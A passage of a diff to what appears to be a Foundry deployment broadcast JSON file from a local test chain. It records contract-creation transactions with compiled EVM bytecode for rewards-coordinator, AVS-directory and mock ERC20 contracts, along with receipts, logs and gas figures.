48201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220238443f68aaa842a8a83f4f495dfe8380aabe34389d5eb96ae3c1857b4d66ef664736f6c634300081b0033", + "nonce": 14, + "gas_used": 1739553 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x529a6", + "cumulativeGasUsed": "0x1a8b21", "logs": [ { - "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", - "topics": [ - "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" - ], - "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" - }, - { - "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", - "topics": [ - "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" - ], - "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" - }, - { - "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", + "address": "0x9a676e781a523b5d0c0e43731313a708cb607508", "topics": [ - "0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152" + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], - "data": "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001" - }, + "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" + } + ], + "logsBloom": "0x00000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000800400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + }, + "block_hash": "0x295893bd9c3fe2aaca071a229013b74cbd0927da1c5718c2fd4686115f210f6b", + "block_number": 11 + }, + { + "info": { + "transaction_hash": "0x949a75614012f11102be7d2731c731cfcc2da208567d936c4d7ffc78d5bcdb88", + "transaction_index": 0, + "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "to": null, + "contract_address": "0x09635f643e140090a9a8dcd712ed6285858cebef", + "traces": [ { - "address": "0xe7f1725e7734ce288f8367e1bb143e90bb3f0512", - "topics": [ - "0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892" - ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "parent": null, + "children": [], + "idx": 0, + "trace": { + "depth": 0, + "success": true, + "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "address": "0x09635f643e140090a9a8dcd712ed6285858cebef", + "maybe_precompile": false, + "selfdestruct_address": null, + "selfdestruct_refund_target": null, + "selfdestruct_transferred_value": null, + "kind": "CREATE", + "value": "0x0", + "data": "0x6080604052348015600f57600080fd5b506105298061001f6000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033", + "output": "0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033", + "gas_used": 264506, + "gas_limit": 365970, + "status": "Return", + "steps": [], + "decoded": { + "label": null, + "return_data": null, + "call_data": null + } + }, + "logs": [], + "ordering": [] } ], - "logsBloom": "0x00000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000004801000000000000000" + "exit": "Return", + "out": "0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806340c10f191161005b57806340c10f19146100cf57806370a08231146100e4578063a9059cbb1461010d578063dd62ed3e1461012057600080fd5b8063095ea7b31461008257806318160ddd146100aa57806323b872dd146100bc575b600080fd5b610095610090366004610416565b610159565b60405190151581526020015b60405180910390f35b6002545b6040519081526020016100a1565b6100956100ca366004610440565b610162565b6100e26100dd366004610416565b610179565b005b6100ae6100f236600461047d565b6001600160a01b031660009081526020819052604090205490565b61009561011b366004610416565b610187565b6100ae61012e36600461049f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60015b92915050565b600061016f848484610191565b5060019392505050565b610183828261033b565b5050565b60003361016f8185855b6001600160a01b0383166101fa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661025c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016101f1565b6001600160a01b0383166000908152602081905260409020548111156102d35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016101f1565b6001600160a01b038381166000818152602081815260408083208054879003905593861680835291849020805486019055925184815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b6001600160a01b0382166103915760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016101f1565b80600260008282546103a391906104d2565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b80356001600160a01b038116811461041157600080fd5b919050565b6000806040838503121561042957600080fd5b610432836103fa565b946020939093013593505050565b60008060006060848603121561045557600080fd5b61045e846103fa565b925061046c602085016103fa565b929592945050506040919091013590565b60006020828403121561048f57600080fd5b610498826103fa565b9392505050565b600080604083850312156104b257600080fd5b6104bb836103fa565b91506104c9602084016103fa565b90509250929050565b8082018082111561015c57634e487b7160e01b600052601160045260246000fdfea264697066735822122000060ee7d13b3da20ea88c1a32f5ce15f717474f00274010613f0e6e91a6871b64736f6c634300081b0033", + "nonce": 27, + "gas_used": 338588 }, - "block_hash": "0x44a074a396a59231e218c4b92f584fef3166505bb534345f43a00160de232059", - "block_number": 2 + "receipt": { + "type": "0x2", + "status": "0x1", + "cumulativeGasUsed": "0x52a9c", + "logs": [], + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + }, + "block_hash": "0xa9206b55f2edb4d12832fa4f317d6113726a20ba27e4de1ae99eb59c4509725a", + "block_number": 24 }, { "info": { - "transaction_hash": "0xd62db15427e349b85ca91b824b5c628a89f55da618540ebbe26ccfb1233cf85c", + "transaction_hash": "0x4154efff037885fdbd446de052ff962a3268f9154c1ba5b93708572a33ee3503", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0x0b306bf915c4d645ff596e518faf3f9669b97016", + "contract_address": "0xc5a5c42992decbae36851359345fe25997f5c42d", "traces": [ { "parent": null, @@ -4512,17 +4515,17 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0x0b306bf915c4d645ff596e518faf3f9669b97016", + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x61018060405234801561001157600080fd5b50604051613dc9380380613dc9833981016040819052610030916102d0565b86868686868686610041858261035b565b63ffffffff16156100e55760405162461bcd60e51b815260206004820152606060248201527f52657761726473436f6f7264696e61746f723a2047454e455349535f5245574160448201527f5244535f54494d455354414d50206d7573742062652061206d756c7469706c6560648201527f206f662043414c43554c4154494f4e5f494e54455256414c5f5345434f4e4453608482015260a4015b60405180910390fd5b6100f2620151808661035b565b63ffffffff16156101915760405162461bcd60e51b815260206004820152605760248201527f52657761726473436f6f7264696e61746f723a2043414c43554c4154494f4e5f60448201527f494e54455256414c5f5345434f4e4453206d7573742062652061206d756c746960648201527f706c65206f6620534e415053484f545f434144454e4345000000000000000000608482015260a4016100dc565b6001600160a01b0396871661012052949095166101405263ffffffff92831660805290821660a052811660c05291821660e05216610100526101d16101e3565b50504661016052506103919350505050565b600054610100900460ff161561024b5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b60648201526084016100dc565b60005460ff908116101561029d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146102b457600080fd5b50565b805163ffffffff811681146102cb57600080fd5b919050565b600080600080600080600060e0888a0312156102eb57600080fd5b87516102f68161029f565b60208901519097506103078161029f565b9550610315604089016102b7565b9450610323606089016102b7565b9350610331608089016102b7565b925061033f60a089016102b7565b915061034d60c089016102b7565b905092959891949750929550565b600063ffffffff83168061037f57634e487b7160e01b600052601260045260246000fd5b8063ffffffff84160691505092915050565b60805160a05160c05160e051610100516101205161014051610160516139a2610427600039600061181f0152600081816104400152612295015260006106ec01526000818161035701526120c40152600081816102cb0152612170015260008181610419015261207301526000818161065e0152611dea01526000818161060401528181611ea10152611f7c01526139a26000f3fe608060405234801561001057600080fd5b50600436106102895760003560e01c80636d21117e1161015c578063bf21a8aa116100ce578063f2fde38b11610087578063f2fde38b1461070e578063f698da2514610721578063f8cd844814610729578063fabc1cbc1461073c578063fbf1e2c11461074f578063fce36c7d1461076257600080fd5b8063bf21a8aa14610659578063c46db60614610680578063d4540a55146106ae578063e221b245146106c1578063e810ce21146106d4578063ea4d3c9b146106e757600080fd5b8063886f119511610120578063886f1195146105c05780638da5cb5b146105d35780639104c319146105e45780639d45c281146105ff578063a0169ddd14610626578063bb7e451f1461063957600080fd5b80636d21117e14610544578063715018a6146105725780637b8f8b051461057a578063863cb9a914610582578063865c69531461059557600080fd5b806337838ed01161020057806358baaa3e116101b957806358baaa3e146104b6578063595c6a67146104c95780635971b3f8146104d15780635ac86ab7146105065780635c975abb146105295780635e9d83481461053157600080fd5b806337838ed01461041457806339b70e381461043b5780633a8c0786146104625780633ccc861d146104795780633efe1db61461048c5780634d18cc351461049f57600080fd5b8063131433b411610252578063131433b414610352578063136439dd14610379578063149bc8721461038c57806322f19a64146103ad5780632b9f64a4146103c057806336af41fa1461040157600080fd5b806218572c1461028e57806304a0c502146102c6578063092db007146103025780630eb383451461032a57806310d67a2f1461033f575b600080fd5b6102b161029c3660046130f0565b60d16020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b60405163ffffffff90911681526020016102bd565b60cb5461031790600160e01b900461ffff1681565b60405161ffff90911681526020016102bd565b61033d61033836600461311b565b610775565b005b61033d61034d3660046130f0565b6107f7565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d610387366004613154565b6108b3565b61039f61039a366004613185565b6109f2565b6040519081526020016102bd565b6103176103bb3660046131a1565b610a68565b6103e96103ce3660046130f0565b60cc602052600090815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020016102bd565b61033d61040f3660046131cf565b610a7d565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b60cb546102ed90600160a01b900463ffffffff1681565b61033d610487366004613259565b610caa565b61033d61049a3660046132b9565b611052565b60cb546102ed90600160c01b900463ffffffff1681565b61033d6104c43660046132e5565b611351565b61033d611362565b6104e46104df366004613154565b611429565b6040805193845263ffffffff92831660208501529116908201526060016102bd565b6102b1610514366004613300565b606654600160ff9092169190911b9081161490565b60665461039f565b6102b161053f366004613323565b611469565b6102b1610552366004613358565b60cf60209081526000928352604080842090915290825290205460ff1681565b61033d6114e7565b60ca5461039f565b61033d6105903660046130f0565b6114fb565b61039f6105a33660046131a1565b60cd60209081526000928352604080842090915290825290205481565b6065546103e9906001600160a01b031681565b6033546001600160a01b03166103e9565b6103e973beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b61033d6106343660046130f0565b61150c565b61039f6106473660046130f0565b60ce6020526000908152604090205481565b6102ed7f000000000000000000000000000000000000000000000000000000000000000081565b6102b161068e366004613358565b60d060209081526000928352604080842090915290825290205460ff1681565b61033d6106bc3660046133a1565b61156b565b61033d6106cf366004613414565b6116b3565b6102ed6106e2366004613154565b6116c4565b6103e97f000000000000000000000000000000000000000000000000000000000000000081565b61033d61071c3660046130f0565b6117a5565b61039f61181b565b61039f610737366004613185565b611858565b61033d61074a366004613154565b611869565b60cb546103e9906001600160a01b031681565b61033d6107703660046131cf565b6119c5565b61077d611b37565b6001600160a01b038216600081815260d1602052604080822054905160ff9091169284151592841515927f4de6293e668df1398422e1def12118052c1539a03cbfedc145895d48d7685f1c9190a4506001600160a01b0391909116600090815260d160205260409020805460ff1916911515919091179055565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086e919061342f565b6001600160a01b0316336001600160a01b0316146108a75760405162461bcd60e51b815260040161089e9061344c565b60405180910390fd5b6108b081611b91565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156108fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091f9190613496565b61093b5760405162461bcd60e51b815260040161089e906134b3565b606654818116146109b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600080610a0260208401846130f0565b8360200135604051602001610a4b9392919060f89390931b6001600160f81b031916835260609190911b6bffffffffffffffffffffffff19166001830152601582015260350190565b604051602081830303815290604052805190602001209050919050565b60cb54600160e01b900461ffff165b92915050565b606654600190600290811603610aa55760405162461bcd60e51b815260040161089e906134fb565b33600090815260d1602052604090205460ff16610b445760405162461bcd60e51b815260206004820152605160248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f60448201527f7420612076616c69642063726561746552657761726473466f72416c6c53756260648201527036b4b9b9b4b7b71039bab136b4ba3a32b960791b608482015260a40161089e565b600260975403610b665760405162461bcd60e51b815260040161089e90613532565b600260975560005b82811015610c9f5736848483818110610b8957610b89613569565b9050602002810190610b9b919061357f565b33600081815260ce60209081526040808320549051949550939192610bc692909185918791016136c4565b604051602081830303815290604052805190602001209050610be783611c88565b33600090815260d0602090815260408083208484529091529020805460ff19166001908117909155610c1a90839061370a565b33600081815260ce602052604090819020929092559051829184917f51088b8c89628df3a8174002c2a034d0152fce6af8415d651b2a4734bf27048290610c6290889061371d565b60405180910390a4610c94333060408601803590610c8390602089016130f0565b6001600160a01b0316929190612458565b505050600101610b6e565b505060016097555050565b606654600290600490811603610cd25760405162461bcd60e51b815260040161089e906134fb565b600260975403610cf45760405162461bcd60e51b815260040161089e90613532565b6002609755600060ca610d0a60208601866132e5565b63ffffffff1681548110610d2057610d20613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091529050610d7284826124c9565b6000610d8460808601606087016130f0565b6001600160a01b03808216600090815260cc60205260409020549192501680610daa5750805b336001600160a01b03821614610e285760405162461bcd60e51b815260206004820152603c60248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063616c6c6572206973206e6f742076616c696420636c61696d657200000000606482015260840161089e565b60005b610e3860a0880188613730565b90508110156110445736610e4f60e0890189613781565b83818110610e5f57610e5f613569565b6001600160a01b038716600090815260cd602090815260408083209302949094019450929091508290610e94908501856130f0565b6001600160a01b03166001600160a01b0316815260200190815260200160002054905080826020013511610f4e5760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e70726f63657373436c61696d3a60448201527f2063756d756c61746976654561726e696e6773206d75737420626520677420746064820152741a185b8818dd5b5d5b185d1a5d9950db185a5b5959605a1b608482015260a40161089e565b6000610f5e8260208501356137cb565b6001600160a01b038716600090815260cd60209081526040822092935085018035929190610f8c90876130f0565b6001600160a01b0316815260208082019290925260400160002091909155610fce908a908390610fbe908701876130f0565b6001600160a01b0316919061276a565b86516001600160a01b03808b1691878216918916907f9543dbd55580842586a951f0386e24d68a5df99ae29e3b216588b45fd684ce319061101260208901896130f0565b604080519283526001600160a01b039091166020830152810186905260600160405180910390a4505050600101610e2b565b505060016097555050505050565b60665460039060089081160361107a5760405162461bcd60e51b815260040161089e906134fb565b60cb546001600160a01b031633146110f15760405162461bcd60e51b815260206004820152603460248201527f52657761726473436f6f7264696e61746f723a2063616c6c6572206973206e6f6044820152733a103a3432903932bbb0b93239aab83230ba32b960611b606482015260840161089e565b60cb5463ffffffff600160c01b90910481169083161161118d5760405162461bcd60e51b815260206004820152604b60248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a206e60448201527f657720726f6f74206d75737420626520666f72206e657765722063616c63756c60648201526a185d1959081c195c9a5bd960aa1b608482015260a40161089e565b428263ffffffff16106112265760405162461bcd60e51b815260206004820152605560248201527f52657761726473436f6f7264696e61746f722e7375626d6974526f6f743a207260448201527f65776172647343616c63756c6174696f6e456e6454696d657374616d702063616064820152746e6e6f7420626520696e207468652066757475726560581b608482015260a40161089e565b60ca5460cb5460009061124690600160a01b900463ffffffff16426137de565b6040805160608101825287815263ffffffff878116602080840182815286841685870181815260ca805460018101825560009190915296517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee160029098029788015591517f42d72674974f694b5f5159593243114d38a5c39c89d6b62fee061ff523240ee29096018054925196861667ffffffffffffffff19909316929092176401000000009686169690960295909517905560cb805463ffffffff60c01b1916600160c01b840217905593519283529394508892908616917fecd866c3c158fa00bf34d803d5f6023000b57080bcb48af004c2b4b46b3afd08910160405180910390a45050505050565b611359611b37565b6108b08161279a565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190613496565b6113ea5760405162461bcd60e51b815260040161089e906134b3565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60ca818154811061143957600080fd5b60009182526020909120600290910201805460019091015490915063ffffffff8082169164010000000090041683565b60006114df8260ca61147e60208301836132e5565b63ffffffff168154811061149457611494613569565b6000918252602091829020604080516060810182526002909302909101805483526001015463ffffffff808216948401949094526401000000009004909216918101919091526124c9565b506001919050565b6114ef611b37565b6114f9600061280b565b565b611503611b37565b6108b08161285d565b33600081815260cc602052604080822080546001600160a01b031981166001600160a01b038781169182179093559251911692839185917fbab947934d42e0ad206f25c9cab18b5bb6ae144acfb00f40b4e3aa59590ca31291a4505050565b600054610100900460ff161580801561158b5750600054600160ff909116105b806115a55750303b1580156115a5575060005460ff166001145b6116085760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161089e565b6000805460ff19166001179055801561162b576000805461ff0019166101001790555b6116336128b9565b60c9556116408686612950565b6116498761280b565b6116528461285d565b61165b8361279a565b61166482612a3a565b80156116aa576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050505050565b6116bb611b37565b6108b081612a3a565b60ca546000905b63ffffffff811615611736578260ca6116e56001846137fa565b63ffffffff16815481106116fb576116fb613569565b906000526020600020906002020160000154036117245761171d6001826137fa565b9392505050565b8061172e81613816565b9150506116cb565b5060405162461bcd60e51b815260206004820152603760248201527f52657761726473436f6f7264696e61746f722e676574526f6f74496e6465784660448201527f726f6d486173683a20726f6f74206e6f7420666f756e64000000000000000000606482015260840161089e565b6117ad611b37565b6001600160a01b0381166118125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161089e565b6108b08161280b565b60007f0000000000000000000000000000000000000000000000000000000000000000460361184b575060c95490565b6118536128b9565b905090565b60006001610a0260208401846130f0565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118e0919061342f565b6001600160a01b0316336001600160a01b0316146119105760405162461bcd60e51b815260040161089e9061344c565b60665419811960665419161461198e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161089e56